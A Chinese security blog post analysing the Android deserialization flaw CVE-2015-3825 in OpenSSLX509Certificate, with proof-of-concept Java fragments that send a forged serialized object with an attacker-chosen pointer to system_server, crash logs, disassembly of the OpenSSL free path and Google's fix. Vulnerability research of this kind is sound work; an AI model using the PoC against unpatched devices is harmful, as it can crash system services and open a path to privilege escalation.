OpenSSLX509Certificate反序列化漏洞(CVE-2015-3825)成因分析


没羽@阿里移动安全

0x00 序


序列化 (Serialization),是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。使用者可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。

Android也有许多场景使用序列化进行数据传递,如App间/内的对象传递、Binder通信的数据传递等等,一般涉及跨进程、跨权限。序列化/反序列也是程序/接口的一个输入,存储区的内容或序列是可被随机填充,如果使用时验证不完整,也会导致安全漏洞。在Android系统中,可通过序列化/反序列化漏洞实现App拒绝服务、提升权限等攻击。

0x01 漏洞成因


这个Android序列化漏洞(CVE-2015-3825),影响Android4.3及Android5.1版本,也就是Jelly Bean、KitKat、棒棒糖和Android M预览版1,波及55%的Android设备。可在受影响的设备上提权到system权限,也就意味着攻击者可以通过替换目标应用的apk接管受害者手机上的任意应用。这个漏洞是由的IBM安全团队Or Peles和Roee Hay在USENIX 2015大会上的议题《ONE CLASS TO RULE THEM ALL 0-DAY DESERIALIZATION VULNERABILITIES IN ANDROID》【1】。

2.1 PoC构造

Paper作者没放出Exploit也没放出PoC,根据这篇paper我们可以知道,漏洞出在OpenSSLX509Certificate(全包名路径为com.android.org.conscrypt.OpenSSLX509Certificate)类,OpenSSLX509Certificate类满足:

1)OpenSSLX509Certificate是可序列化的,因为他继承自可序列化的Certificate类;
2)它有一个finalize()方法,并且有调用native的方法(libjavascrypto.so中),参数field mContext,long型(实际为指针类型);
3)OpenSSLX509Certificate也没有实现特定的反序列化方法(readObject和readResolve);

其中mContext就是要找的可被攻击控制的指针。

我对CVE-2014-7911的POC进行了改造,首先定义类com.android.org.conscrypt.ApenSSLX509Certificate,如下:

public class ApenSSLX509Certificate implements Serializable {
    //private static final long serialVersionUID = -5454153458060784251L;//android4.4.2 emulator
    private static final long serialVersionUID = -8550350185014308538L;//android 5.1.1 emulator
    public final long mContext;
    ApenSSLX509Certificate(long ctx) {
        mContext = ctx;
    }
}

注意包名为com.android.org.conscrypt,然后在同包名下创建一个MainActivity.java,对ApenSSLX509Certificate进行调用:

com.android.org.conscrypt.ApenSSLX509Certificate evilProxy = new com.android.org.conscrypt.ApenSSLX509Certificate(0x7f7f7f7f7f7f7f7fL);
b.putSerializable("eatthis", evilProxy);

和CVE-2014-7911 PoC一样,向“android.os.IUserManager”的service发送请求前,修改类名:

int l = data.length;
for (int i=0; i<l-4; i++) {
if (data[i] == 'A' && data[i+1] == 'p' && data[i+2] == 'e' && data[i+3] == 'n') {
data[i] = 'O';
break;
    }
}

类似CVE-2014-7911的分析,我们也对service.jar加一些日志信息输出,在Android 4.4.2的AVD中,安装、运行PoC,我们看到:

E/CVE-2014-7911-trace(1669): setApplicationRestrictions
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::eatthis
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::for::else
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception
E/CVE-2014-7911-trace(1669): writeApplicationRestrictionsLocked::Exception::java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[]
W/System.err(1669): java.lang.ClassCastException: com.android.org.conscrypt.OpenSSLX509Certificate cannot be cast to java.lang.String[]
at com.android.server.pm.UserManagerService.writeApplicationRestrictionsLocked(UserManagerService.java:1417)
at com.android.server.pm.UserManagerService.setApplicationRestrictions(UserManagerService.java:1124)
at android.os.IUserManager$Stub.onTransact(IUserManager.java:245)
W/System.err(1669):     at android.os.Binder.execTransact(Binder.java:404)
W/System.err(1669):     at dalvik.system.NativeStart.run(Native Method)
E/UserManagerService(1669): Error writing application restrictions list

也是强制类型转换导致异常,与CVE-2014-7911的强制转换为java.io.Serializable导致的异常不同,因为传入的object本身不是序列化的对象,致使类型转换失败。CVE-2015-3825是将com.android.org.conscrypt.OpenSSLX509Certificate强制转换为java.lang.String[]而产生的异常。

验证PoC过程中,在Android 4.4.2 AVD,只触发了“Error writing application restrictions list”异常,但是GC资源回收没被触发。

在Android 5.1.1 AVD,可以通过重复发送n次的“TRANSACTION_setApplicationRestrictions”请求可以触发GC回收资源,最后导致system_server的crash:

A/libc(4839): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x7f7f7f8f in tid 4848 (FinalizerDaemon)
I/DEBUG(61): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG(61): Build fingerprint: 'generic/sdk_phone_armv7/generic:5.1/LKY45/1737576:eng/test-keys'
I/DEBUG(61): Revision: '0'
I/DEBUG(61): ABI: 'arm'
I/DEBUG(61): pid: 4839, tid: 4848, name: FinalizerDaemon  >>> system_server <<<
I/DEBUG(61): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7f7f7f8f
I/DEBUG(61):     r0 00000000  r1 0000000c  r2 00000000  r3 00000000
I/DEBUG(61):     r4 b6c9766f  r5 00000003  r6 ffffffff  r7 7f7f7f8f
I/DEBUG(61):     r8 00000075  r9 b6c24ac9  sl a78fbaa4  fp 13068980
I/DEBUG(61):     ip 00000001  sp a78fba58  lr b6c3da1d  pc b6c3da1c  cpsr 60000030
I/DEBUG(61): backtrace:
I/DEBUG(61):     #00 pc 00072a1c  /system/lib/libcrypto.so (CRYPTO_add_lock+59)
I/DEBUG(61):     #01 pc 000579b1  /system/lib/libcrypto.so (asn1_do_lock+68)
I/DEBUG(61):     #02 pc 0005646f  /system/lib/libcrypto.so
09-06 20:31:31.394: I/DEBUG(61):     #03 pc 00056415  /system/lib/libcrypto.so (ASN1_item_free+12)
09-06 20:31:31.395: I/DEBUG(61):     #04 pc 00017c0d  /data/dalvik-cache/arm/system@framework@boot.oat
09-06 20:32:09.116: I/art(5663): Background sticky concurrent mark sweep GC freed 7340(386KB) AllocSpace objects, 0(0B) LOS objects, 45% free, 603KB/1117KB, paused 887us total 513.880ms
09-06 20:32:22.682: I/DEBUG(61): Tombstone written to: /data/tombstones/tombstone_01

2.2 异常分析

这里基于Android 5.1.1 AVD上的分析。

上面说到,“TRANSACTION_setApplicationRestrictions”请求发出后,导致一个异常,然后GC回收资源。

从源代码分析,GC调用OpenSSLX509Certificate. finalize():

@Override
protected void finalize() throws Throwable {
    try {
        if (mContext != 0) {
            NativeCrypto.X509_free(mContext);
        }
    } finally {
        super.finalize();
    }
}

然后调用NativeCrypto.X509_free()方法,该方法在NativeCrypto.java定义如下:

public static native void X509_free(long x509ctx);

最终是在libjavacrypto.so中实现的,该函数定义在org_conscrypt_NativeCrypto.cpp文件中:

static void NativeCrypto_X509_free(JNIEnv* env, jclass, jlong x509Ref) {
    X509* x509 = reinterpret_cast<X509*>(static_cast<uintptr_t>(x509Ref));
    JNI_TRACE("X509_free(%p)", x509);
    if (x509 == NULL) {
        jniThrowNullPointerException(env, "x509 == null");
        JNI_TRACE("X509_free(%p) => x509 == null", x509);
        return;
    }
    X509_free(x509);
}

NativeCrypto_X509_free函数最后调用的X509_free是OpenSSL库提供的接口,关于如何找到该函数实现请参考附录一。

根据上面分析得到信息,在动态调试时,我们在libjavacrypto.so:: NativeCrypto_X509_free函数中下断,

.text:00008C1C sub_8C1C                                ; DATA XREF: .data:000175ACo
.text:00008C1C                 CBNZ            R2, loc_8C26
.text:00008C1E                 LDR             R1, =(aX509Null - 0x8C24)
.text:00008C20                 ADD             R1, PC  ; "x509 == null"
.text:00008C22                 B.W             j_j_j_jniThrowNullPointerException
.text:00008C26
.text:00008C26 loc_8C26                                ; CODE XREF: sub_8C1Cj
.text:00008C26                 MOV             R0, R2
.text:00008C28                 B.W             j_j_X509_free
.text:00008C28 ; End of function sub_8C1C

下断点后,有时会碰到单步执行异常,笔者使用的一个办法供参考:设置该lib库的所有内存节属性为可写的。

在j_j_X509_free中单步步入,到libcrypto.so: ASN1_item_free函数,

.text:00056408                 EXPORT ASN1_item_free
.text:00056408 ASN1_item_free                          ; CODE XREF: j_ASN1_item_free+8j
.text:00056408                                         ; DATA XREF: .got:ASN1_item_free_ptro
.text:00056408
.text:00056408 var_C           = -0xC
.text:00056408
.text:00056408                 PUSH.W          {R11,LR}
.text:0005640C                 SUB             SP, SP, #8
.text:0005640E                 STR             R0, [SP,#0x10+var_C]
.text:00056410                 ADD             R0, SP, #0x10+var_C
.text:00056412                 MOVS            R2, #0
.text:00056414                 BL              sub_56420 
.text:00056418                 ADD             SP, SP, #8
.text:0005641A                 POP.W           {R11,PC}
.text:0005641A ; End of function ASN1_item_free

sub_56420即为asn1_item_combine_free函数,定义为:

static void asn1_item_combine_free(ASN1_VALUE **pval, const ASN1_ITEM *it, int combine)

我们继续分析这个函数,

.text:00056420 sub_56420                               ; CODE XREF: ASN1_item_free+Cp
.text:00056420                                         ; ASN1_item_ex_free+2j ...
.text:00056420                 PUSH.W          {R4-R10,LR}
.text:00056424                 MOV             R10, R0 ; R0: pval, &mContext;
.text:00056426                 MOV             R8, R2  ; R1: combine, int;
.text:00056428                 MOV             R5, R1  ; R1: it, ASN1_ITEM;
.text:00056428                                         ; libcrypto.so:X509_NAME_TYPE_it
.text:0005642A                 CMP.W           R10, #0 ; if (!pval) return;
.text:0005642E                 BEQ.W           def_5645A ; jumptable 0005645A default case
.text:00056432                 LDRB            R1, [R5] ; R1 <- it->itype;
.text:00056434                 LDR             R0, [R5,#0x10] ; R0 <- aux = it->funcs;
.text:00056436                 CBZ             R1, loc_56442 ; #define ASN1_ITYPE_PRIMITIVE 0x0
.text:00056438                 LDR.W           R2, [R10] ; !*pval
.text:0005643C                 CMP             R2, #0
.text:0005643E                 BEQ.W           def_5645A ; jumptable 0005645A default case

如分号后的备注所写,这段代码将初始相关变量:将&mContext存入R10,combine存入R2,it存入R5,然后验证参数的合法性。代码继续,获取aux->asn1_cb存入R9中:

.text:00056442 loc_56442                               ; CODE XREF: sub_56420+16j
.text:00056442                 CMP             R0, #0
.text:00056444                 ITT NE
.text:00056446                 LDRNE.W         R9, [R0,#0x10] ; R9: asn1_cb = aux->asn1_cb;
.text:0005644A                 CMPNE.W         R9, #0
.text:0005644E                 BNE             loc_56454 ; switch(it->itype)
.text:00056450                 MOV.W           R9, #0

继续,接下来调用asn1_do_lock函数:

.text:00056466                 MOV             R0, R10 ; jumptable 0005645A cases 1,6
.text:00056468                 MOV.W           R1, #0xFFFFFFFF ; 传入-1
.text:0005646C                 MOV             R2, R5  ; it
.text:0005646E                 BLX             j_asn1_do_lock ; int asn1_do_lock(ASN1_VALUE **pval, int op, const ASN1_ITEM *it)
.text:0005646E                                         ; 走到这了,crash在这个函数
.text:00056472                 CMP             R0, #0  
.text:00056474                 BGT             def_5645A ; jumptable 0005645A default case

此时整理asn1_do_lock函数调用时参数:R0是上面R10存储的&mContext,R1为-1,R2为上面R5存储的it。下面进入asn1_do_lock函数继续分析,取出it->funcs放入R2:

.text:00057984                 LDR             R2, [R2,#0x10] ; aux = it->funcs;
.text:00057986                 CMP             R2, #0

再取it->funcs即aux的ref_offset放入R3中,然后计算(char*)mContext+aux->ref_offset的存入R12:

.text:00057992                 LDR             R3, [R2,#8] ; aux->ref_offset
.text:00057994                 CMP             R1, #0
.text:00057996                 LDR             R0, [R0] ; R0 = &mContext
.text:00057998                 ADD.W           R12, R0, R3 ; lck = offset2ptr(*pval, aux->ref_offset);
.text:0005799C                 BEQ             loc_579B6

接下来是调用CRYPTO_add_lock函数:

.text:000579A2                 MOVS            R0, #0x75
.text:000579A4                 LDR             R3, =(aExternalOpe_43 - 0xFA1D8)
.text:000579A6                 ADD             LR, PC ; _GLOBAL_OFFSET_TABLE_
.text:000579A8                 LDR             R2, [R2,#0xC] ; aux->ref_lock
.text:000579AA                 ADD             R3, LR  ; "external/openssl/crypto/asn1/tasn_utl.c"
.text:000579AC                 STR             R0, [SP,#0x10+var_10] ; line: 0x75 -> 117
.text:000579AE                 MOV             R0, R12
.text:000579B0                 BLX             j_CRYPTO_add_lock ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line)

进一步分析CRYPTO_add_lock函数,读取R7地址的内容再加R1(R1=-1,这里也就是减1操作),然后再存入R1地址中:

.text:000729E0 ; int CRYPTO_add_lock(int *pointer, int amount, int type, const char *file, int line)
.text:000729E0                 EXPORT CRYPTO_add_lock
.text:000729E0 CRYPTO_add_lock                         ; CODE XREF: j_CRYPTO_add_lock+8j
.text:000729E4                 MOV             R7, R0  ; R7 = (char*)mContext+aux->ref_offset
... ...
.text:000729E8                 MOV             R6, R1  ; R1 = -1
 
.text:00072A1C                 LDR             R0, [R7] ; Crash在这,此时R7为0x7F7F7F8F
.text:00072A24                 ADD             R6, R0
 
.text:00072A28                 STR             R6, [R7] ; 如果R7指向的内存为写的,这里可以实现任意写

调试时aux->ref_offset的值为0x10,参考x509_st结构,我们猜测(char*)mContext+0x10为mContext-> references,用记录对象引用次数,管理内存的引用。再看源码tasn_fre.c (external/openssl/crypto/asn1/)【4]的asn1_item_combine_free方法:

case ASN1_ITYPE_SEQUENCE:
if (asn1_do_lock(pval, -1, it) > 0)
    return;
if (asn1_cb)
    {
    i = asn1_cb(ASN1_OP_FREE_PRE, pval, it, NULL);
    if (i == 2)
        return;
    }

当asn1_do_lock返回为0,即mContext-> references为0时,才调用asn1_cb函数释放资源。

继续CRYPTO_add_lock的反汇编代码分析,由于我们在Java层传入的是一个非法地址0x7f7f7f7f,所以导到内存写异常。

Google的修复方法【2】是给mContext成员添加transient修饰符,使其不被序列化。

0x03 总结


在对象序列化时,指针成员的序列化较易存在安全风险,如CVE-2014-7911中的mOrgue,CVE-2015-3825中的mContext。本漏洞(CVE-2015-3825)中由于mContext是可序列化的,而它指向的又是X509结构的指针,当传入的序列化对象在反序列化产生异常时,系统调用GC回收资源,即mContext->references减1,这里mContext是可控制的,便可导致有限制的内存任意写(多次减1)漏洞。

0x04 参考


【1】https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf
【2】https://android.googlesource.com/platform/external/conscrypt/+/edf7055461e2d7fa18de5196dca80896a56e3540
【3】https://github.com/Purity-Lollipop/platform_external_conscrypt/commit/edf7055461e2d7fa18de5196dca80896a56e3540
【4】https://android.googlesource.com/platform/external/openssl/+/android-5.1.1_r13/crypto/asn1/tasn_fre.c

0x05 附录


5.1 如何找到那个叫X509_free的函数

在OpenSSL代码中怎么搜X509_free也搜索不到真正的代码实现,这是因为OpenSSL中用了一堆宏、宏嵌套定义部分函数、结构,X509_free就在其中一个。细细看代码才发现X509_free是在crypto/asn1/x_x509.c文件中由IMPLEMENT_ASN1_FUNCTIONS定义的:

IMPLEMENT_ASN1_FUNCTIONS(X509)

顺藤摸瓜找出下面几个嵌套的宏:

# define IMPLEMENT_ASN1_FUNCTIONS_fname(stname, itname, fname) \
        IMPLEMENT_ASN1_ENCODE_FUNCTIONS_fname(stname, itname, fname) \
        IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname)    

# define IMPLEMENT_ASN1_ALLOC_FUNCTIONS_fname(stname, itname, fname) \
        stname *fname##_new(void) \
        { \
                return (stname *)ASN1_item_new(ASN1_ITEM_rptr(itname)); \
        } \
        void fname##_free(stname *a) \
        { \
                ASN1_item_free((ASN1_VALUE *)a, ASN1_ITEM_rptr(itname)); \
        }
    #define ASN1_ITEM_rptr(ref) (&(ref##_it))

映射到X509的定义,可以翻译如下:

X509 * X509_new(void) \
        { \
                return (X509 *)ASN1_item_new(&X509_it); \
        } \
        void X509_free(X509 *a) \
        { \
                ASN1_item_free((ASN1_VALUE *)a, &X509_it)); \
        }

评论

路人甲 2015-11-09 13:47:20

这文章含金量高,毕竟中国人嘛

M

Moonight 2015-11-09 14:07:56

赞没羽,很精彩的文章,也可以延伸出一系列的攻击方式

B

Budi 2016-03-08 16:25:13

我好好学习一下

阿里移动安全

阿里移动安全重新定义互联网+的安全DNA

twitter weibo github wechat

随机分类

二进制安全 文章:77 篇
iOS安全 文章:36 篇
无线安全 文章:27 篇
PHP安全 文章:45 篇
神器分享 文章:71 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录